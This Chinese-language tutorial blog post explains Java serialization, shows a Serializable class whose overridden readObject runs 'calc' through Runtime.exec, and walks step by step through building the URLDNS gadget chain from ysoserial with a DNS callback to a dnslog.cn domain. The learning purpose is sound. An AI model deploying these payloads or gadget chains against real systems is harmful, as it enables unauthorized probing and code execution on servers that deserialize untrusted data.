序列化与反序列化
1、概述
序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
2、什么是序列化和反序列化
Java序列化就是指把Java对象转换为字节序列的过程
Java反序列化就是指把字节序列恢复为Java对象的过程。
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
3、序列化与反序列化代码实现
反序列化类UnserializeTest.java
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
Persion.java
在这个类文件中简单写了几个函数方法,来作为序列化和反序列化的基础文件,但要再开头继承一个Serializable接口,只有继承这个接口的类才可以反序列化
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
SerializationTest.java
在这个序列化文件中,先封装了一个unserialize函数,在这个函数中用FileOutputStream和ObjectInputStream将文件以二进制流的方式输出到ser.bin再用oos.writeObject来进行序列化
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
// System.out.println(person);
serialize(person);
}
}
UnserializeTest.java
这个java文件基本和上一个相反,封装了一个unserialize函数,用FileInputStream和ObjectInputStream读取ser.bin中的内容,之后用ois.readObject()来进行反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
过程
先运行SerializationTest.java
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8OfwYWQC-1677032557439)(java反序列化基础.assets/image-20230220235300526.png)]](https://img-blog.csdnimg.cn/181bafa85b9a42159a5625b0e91ba05d.png)
左边生成ser.bin后再进行UnserializeTest.java
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7IEoaorG-1677032557441)(java反序列化基础.assets/image-20230220235348496.png)]](https://img-blog.csdnimg.cn/9cf32fdd9b054e8bb769967b82dfb14f.png)
序列化与反序列化的安全问题
1、引子
在序列化和反序列化中很重要的两个方法writeObject和readObject,这两个方法可以经过开发者的重写,一般开发者们会根据自己的需求来进行重写,然而只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,基于攻击者在服务器上运行代码的能力。
所以从根本上来说,Java 反序列化的漏洞的与
readObject有关。
2、可能存在漏洞的形式
刚刚说在反序列化的时候readObject中代码会自动执行,如果readObject插入命令执行的代码,也就执行,就产生了安全漏洞
例如我们将刚刚的Person.java修改成一下代码
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
多了一串我们重写的readObject中的东西,在这个方法里我们放了一个命令执行的exec函数,可以打开计算器,执行一下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4IrpiStk-1677032557442)(java反序列化基础.assets/image-20230221000649988.png)]](https://img-blog.csdnimg.cn/2729d9c125e94fbe91f3ba19eb762ff7.png)
和我们想象的一样弹出了计算器,这就是反序列化引出的安全漏洞
3、条件
共同条件继承Serializable
入口类source(重写readObject参数类型宽泛最好jdk自带)调用链gadget chain
执行类sink(rce ssf 写文件等等)
4、HashMap
HashMap: java 中的一种容器,用来存储内容,内容以键值对的形式存放。
跟进hashmap中看一下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dnq4RT1a-1677032557442)(java反序列化基础.assets/image-20230221210733448.png)]](https://img-blog.csdnimg.cn/11473c6134104696927ce11b756b9e72.png)
重写了一个readObject
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RY1ZT6Fl-1677032557443)(java反序列化基础.assets/image-20230221210825710.png)]](https://img-blog.csdnimg.cn/6667d567bc694936b4a1356c6ab228c6.png)
可以看到作用是获取了key和value两个值,并且调用了hash函数,继续跟进hash函数看一下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BKkn0RKy-1677032557443)(java反序列化基础.assets/image-20230221211011745.png)]](https://img-blog.csdnimg.cn/95e68779c3d048ae9475402eec2c99ab.png)
判断了key是否为空或0,如果不是就会调用hashCode(),怎么判断的key一定有hsahcode呢,看一下hash的Object
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KJX5F6mP-1677032557444)(java反序列化基础.assets/image-20230221211306905.png)]](https://img-blog.csdnimg.cn/4cdd92772a3945818e94974da5857003.png)
可以看到这个Object中本身就有这三个,如果这三个类中有危险函数而且可以反序列化的话就可能会有反序列化漏洞了
5、URLDNS链
原理
URLDNS链也是利用的HashMap存在的漏洞
java.util.HashMap 实现了 Serializable 接口,重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode. 而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名,从而发出 DNS 请求。
我们从 ysoserial 项目 src/main/java/ysoserial/payloads/URLDNS.java 的注释中可以看到 URLDNS 的调用链(Gadget Chain):
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
调用了参数 key 的 hashCode 函数,而我们从 src/main/java/ysoserial/payloads/URLDNS.java 中可以得知这个 key 就是一个 URL 对象。
跟进一下URL
它继承了这个序列化接口是我们找序列化漏洞必须的
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-85E4ImCi-1677032557444)(java反序列化基础.assets/image-20230221220528387.png)]](https://img-blog.csdnimg.cn/c29f21015afd4e10921a19745033b829.png)
再找我们需要的类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O2DhDRHC-1677032557445)(java反序列化基础.assets/image-20230221220606447.png)]](https://img-blog.csdnimg.cn/9d2c9d4b3d11424685c64964c11648ca.png)
这里有一个hashCode调用了hashCode函数继续跟进
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cqTbB2Ss-1677032557445)(java反序列化基础.assets/image-20230221220710918.png)]](https://img-blog.csdnimg.cn/c324270271de4bea8b1de4b100e5cce2.png)
有一个getHostAddress,根据名字是一个根据域名获取地址,会做一个域名解析的工作,也就是说我们如果调用了URL类中的hashCode函数,那我们就会获取一个地址,就可以验证是否存在漏洞
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rvmkrx7J-1677032557446)(java反序列化基础.assets/image-20230221221444856.png)]](https://img-blog.csdnimg.cn/19707c4a709947ab931f4dc017af9f91.png)
再根据我们上面分析的HashMap中的readObject函数中调用hashCode,如果key为URL的话就会调用URL中的hashCode,而且readObject在序列化中会自动触发,所以序列化时会串起来,造成反序列化漏洞。
构造利用链
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
// Person person = new Person("aa",22);
// System.out.println(person);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL("http://wpv3x5.dnslog.cn"),1);
serialize(hashmap);
}
}
理论上应该在序列化时,接受到请求,但在序列化会就接受到了
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vWKx2FC7-1677032557446)(java反序列化基础.assets/image-20230221223128691.png)]](https://img-blog.csdnimg.cn/34cd290964ff4aad9ff767db88418eb8.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jhYQGTt-1677032557447)(java反序列化基础.assets/image-20230221223115049.png)]](https://img-blog.csdnimg.cn/46b4e8d7f8f545d88b36619f992dda85.png)
分析一下原因,跟进一下put,
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xWGW47XN-1677032557447)(java反序列化基础.assets/image-20230221223635671.png)]](https://img-blog.csdnimg.cn/cca34174491f4d8eb955eed068b2ab85.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cn9SkUEA-1677032557448)(java反序列化基础.assets/image-20230221223654240.png)]](https://img-blog.csdnimg.cn/dda1747baa604ba0a3f0ea350e7ac9f6.png)
在序列化的时候就已经调用了put中的hash进而调用了hashCode
方法的话
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBpTKs8P-1677032557448)(java反序列化基础.assets/image-20230221224819926.png)]](https://img-blog.csdnimg.cn/d7319176afb04396929d9eda9eb47966.png)
可以看到这里,如果吧请求后的hashCode改为-1,就可直接放回hashCode就可以避免这个问题了,利用反射的方法来改为-1
import jdk.nashorn.internal.objects.NativeDebug;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
// Person person = new Person("aa",22);
// System.out.println(person);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
// hashmap.put(new URL("http://lswgcx.dnslog.cn"),1);
URL url = new URL("");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,12);
hashmap.put(url,1);
//改回-1
hashcodefield.set(url,-1);
serialize(hashmap);
}
}
这样执行之后,并没有回显,再进行反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.HashMap;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
unserialize("ser.bin");
}
}
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jkPGfHBe-1677032557448)(java反序列化基础.assets/image-20230222000524131.png)]](https://img-blog.csdnimg.cn/692f7cfd99e347f881417869e4921a63.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1pGtpE5o-1677032557449)(java反序列化基础.assets/image-20230222000505212.png)]](https://img-blog.csdnimg.cn/2ab7ce98649644a4a47b355f91122978.png)
就成功回显了



















